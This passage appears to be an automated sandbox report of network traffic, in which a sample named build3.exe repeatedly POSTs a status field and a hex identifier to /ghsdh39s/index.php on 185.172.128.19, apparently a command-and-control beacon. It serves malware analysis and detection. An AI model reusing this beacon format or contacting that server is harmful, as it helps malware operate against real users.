Dec 20, 2023 15:36:22.179114103 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:22.467519999 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:23.642070055 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:23.932677984 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49860	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:24.343837023 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:24.635442972 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:24.641571045 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:24.934693098 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49861	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:25.339840889 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:25.633219004 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:25.634650946 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:25.928755999 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49862	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:26.355283976 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:26.647310019 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:26.651525974 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:26.945759058 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49863	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:27.355305910 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:27.654546022 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:27.655399084 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:27.952590942 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49864	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:28.352351904 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:28.644697905 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:28.647253990 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:28.941654921 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49865	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:29.367487907 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:29.674460888 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:29.675349951 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:29.990075111 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49866	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:30.412388086 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:30.718786955 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:30.721116066 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:31.027157068 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49867	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:31.431754112 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:31.723964930 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:31.724828005 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:32.019238949 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49868	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:32.446492910 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:32.738497019 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:32.741252899 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:33.036334991 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49869	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:33.458471060 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:33.746236086 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:33.747162104 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:34.036815882 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49870	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:34.463804007 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:34.786740065 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:34.789818048 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:35.080385923 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49871	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:35.476608038 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:35.767606974 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:35.768475056 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:36.061482906 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49872	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:36.470005989 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
